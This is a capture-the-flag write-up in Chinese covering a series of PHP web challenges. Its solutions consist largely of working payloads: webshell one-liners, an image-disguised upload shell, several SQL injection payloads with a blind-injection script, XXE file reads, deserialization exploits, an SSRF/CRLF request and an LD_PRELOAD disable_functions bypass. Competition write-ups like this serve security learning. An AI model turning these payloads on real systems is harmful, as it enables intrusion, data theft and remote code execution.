打比赛先撸一只猫
查看源码,发现简单考点
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
只需GET传参cat=dog即可
你看见过我的菜刀么
打开一看页面有一句话,是事先写好的,通过构造参数可以执行任意命令,往往配合菜刀,蚁剑等工具一起使用。
eval($_POST["Syc"]);
这里简单读取一下flag文件,也可以使用菜刀,蚁剑连接。
BurpSuiiiiiit!!!
下载文件,解压一下是个jar文件,是burpsuite的扩展包,用burpsuite导入一下就能得到flag
性感潇文清,在线算卦
打开题目发现源码中有信息,请求在0.1秒内容会变化,所以使用条件竞争,附一个简单脚本
import gevent
from gevent import monkey
gevent.monkey.patch_all()
import requests as rq
def geturl(url):
for i in range(5):
r=rq.get(url)
if 'Syc' in r.text:
print(r.text)
break
data=['http://148.70.59.198:42534/?u=1&p=1','http://148.70.59.198:42534/uploads/b336602455740930585c9e82995cc63b9fa7db8c/356a192b7913b04c54574d18c28d46e6395428ab']
if __name__ == '__main__':
tasks = [gevent.spawn(geturl, url) for url in data]
gevent.joinall(tasks)
当然也可以使用burpsuite一直发包请求,然后访问之后提示的页面
Easysql
万能密码登录输入用户名’=’ ,密码’=’
Lovelysql
简单的注入,这里用联合注入
?username=1' order by 3-- -&password=1 //查字段
?username=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -&password=1 //查表名
?username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1"-- -&password=1 //查列名
?username=1' union select 1,group_concat(password),3 from l0ve1ysq1-- -&password=1 //查数据
Babysql
测试一下发现关键字被过滤为空,可以双写绕过
?username=-1' ununionion selselectect 1,group_concat(passwoorrd),3 frofromm b4bsql-- -&password=1 //查数据
李三的代码审计笔记第一页
代码内容大概就是$password构成了一个数组,GET一个参数url,若没有url里面没有http://则退出,有则请求这个url,返回数据与$password构成的数组比较,相同则下一步,不同退出,按照要求写一个php代码,放在服务器,保存1.php,新建1.txt,内容为0,传参?url=xxx.xxx.xxx.xxx/1.php即可
<?php
$password="If I knew where I would die, I would never go there.";
$arr=explode(" ",$password);
$c = intval(file_get_contents("1.txt"));
echo $arr[$c];
$c++;
$file=fopen("1.txt","w+");
fwrite($file, $c);
fclose($file);
exit(0);
?>
神秘的三叶草
看了下源码,发现最后氛围两个字有超链接,打开Secret.php,根据要求发送如下请求
GET /Secret.php HTTP/1.1
Host: 118.25.14.40:8108
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Cache-Control: max-age=0
referer: https://www.Sycsecret.com
Jiang‘s Secret
查看源码发现一个href标签,又是一个超链接,不过是黑色的,页面ctrl+a可以看见,点开链接,发现一个302重定向action.php ,抓包看一下,提示secr3t.php,打开secr3t.php,是一个文件包含,说flag在flag.php,用php伪协议读一下,base64解码可得flag。
?file=php://filter/read=convert.base64-encode/resource=flag.php
性感黄阿姨,在线聊天
题目提示xxe,php弱类型。XXE全称是——XML External Entity,也就是XML外部实体注入攻击。
打开题目是一个聊天界面,输入flag,它说只是guest用户,抓包看一下请求报文,发现传输的数据是json数据(JSON(JavaScript Object Notation)是一种轻量级的数据交换格式)name:”guest”,将name改为admin,看到要满足$name==md5($flag),然后进行下一步,这里就要用到php弱类型,==是比较运算符号,不会检查条件式的表达式的类型,在比较字符串和整型时会将字符串转化为整型,如123adas123sda会变成123,省略字母后的字符.
$a=123;
$b='123ads123dasd';
var_dump($a==$b); //运行结果为bool(true)
爆破name,name从0~xxxxx,name为数字,因为md5($flag)后为字符类型,里面含有数字,字母,和整型比较会除去字母后面字符只保留数字进行比较。爆出结果name为357,告诉了flag在_f14g_Is_Here.php,所以用xxe读取这个文件。
POST /message.php HTTP/1.1
Host: 148.70.59.198:41257
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 201
Origin: http://148.70.59.198:41257
Connection: close
Referer: http://148.70.59.198:41257/
Cookie: td_cookie=195560425
<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM
"php://filter/read=convert.base64-encode/resource=_f14g_Is_Here_.php">
]>
<root>
<name>&xxe;</name>
<request>flag</request>
</root>
文件内容以base64编码形式读出,解码可得flag。
你有特洛伊么
这个是文件上传,文件上传肯定做了些限制,慢慢看一下,发现是黑名单的验证,还验证了文件的内容,要包含图片格式,并且内容不能含有<?,黑名单的验证其实比较好绕,用copy 1.jpg/b+1.php/a 1.jpg(文件包含解析b表示二进制,a表示ascii码)做一个图片马,但是内容不能含有<?,那么怎么表示这是php文件呢,查了一下发现还可以这样表示为php文件,但是这种表示方法在php7已经不适用。
<script language="php">@eval($_POST['a']);</script>
接下来就是找一个不在黑名单,但可以解析的后缀名,发现.phtml没有过滤,且可以解析,上传该文件。
最后读取文件,菜刀连接即可找到flag。
反序列化1.0
查看源码,发现反序列化参数可控,同时也看到了flag出现条件,所以简单传参一个序列化对象即可
?exp=O:7:"Student":1:{s:5:"score";i:10000;}
又来一只猫
这道题打开一看说源码备份,猜测有源码泄露,经测试发现存在www.zip,下载源码审计,这里贴一下源码,方便以后自己查看。
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
简单介绍一下序列化和反序列化:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。反序列化的漏洞大多是因为反序列化的参数可控与魔术方法相结合,通过精心构造的payload造成危害。
介绍几个常见的魔术方法:
__construct():在对象创建时自动被调用;
__destruct():在脚本运行结束时自动被调用;
__sleep():在对象序列化的时候自动被调用;
__wakeup():在反序列化为对象时自动被调用;
__toString(): 直接输出对象引用时自动被调用;
当成员属性数目大于实际数目时可绕过wakeup方法,最终payload为
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
Eval evil code
这道题是考无参数执行命令,apache环境,可以使用getallheaders()函数,验证码的简单脚本。附一个链接 传送门
import hashlib
def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))
return m.hexdigest()
for i in range(1000000000):
if md5(str(i))[0:4] == 'a074':
print(i)
break
最终请求报文
POST /index.php HTTP/1.1
Host: 148.70.59.198:34386
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://148.70.59.198:34386
Connection: close
Referer: http://148.70.59.198:34386/
Cookie: td_cookie=2346903105; PHPSESSID=741fb31b98aab1f28124c5035b048349
Upgrade-Insecure-Requests: 1
a: readfile("theflag.php"); //这里执行命令
payload=eval(end(getallheaders()));&code=15836
你有初恋吗
简单代码审计,post传以下参数即可
lover=syclove%2572
hardsql
报错注入,过滤了or|and|substr|if|hex|mid|char|union,空格
username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),1)# //数据库名
username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek'),0x7e),1)# //表名
username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like'H4rDsq1'),0x7e),1)# //列名
username=admin&password=admin'^updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1)# //数据
finalsql
时间盲注
#二分法
import requests
import string
url = "http://118.25.14.40:8104/search.php"
flag = ''
def payload(i,j):
#sql ="1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字
#sql ="1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
#sql ="1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j) #数据
data = {"id":sql}
r = requests.get(url,params=data)
#print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1,10000):
print(i,':')
low = 31
high = 127
while low<= high:
mid = (low+high)//2
res = payload(i,mid)
if res:
low = mid+1
else:
high = mid-1
f = int((low+high+1))//2
if (f == 127 or f == 31):
break
#print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)
Leixiao’s blog
存储型xss,密保问题可以自定义修改payload,弹cookie回来
服务端检测系统
ssrf CRLF注入 请求报文如下
POST / HTTP/1.1
Host: 148.70.59.198:41256
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Origin: http://148.70.59.198:41256
Connection: close
Referer: http://148.70.59.198:41256/
Cookie: td_cookie=3267711552; PHPSESSID=9h4mg0jrecc5of5lh1836hf7e3
Upgrade-Insecure-Requests: 1
url=http://127.0.0.1/&method=POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
iwantflag=yes%26b=%s%
rce me
无字符,数字拿shell,bypass disable_functions(利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果)
http://114.116.44.23:40001/?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=var_dump(eval($_GET[a]))&a=include(%27/tmp/123.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/123.so //读取flag
李三的代码审计2
考点xxe,phar的反序列化
你读懂了潇文清的网站了吗
xxe+phar的反序列化,输入框解析xml,可以用php://filter读文件,读取config.php,index.php,通过phar反序列化读取flag.php
<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY hacker SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php"> ]>
<name>&hacker;</name>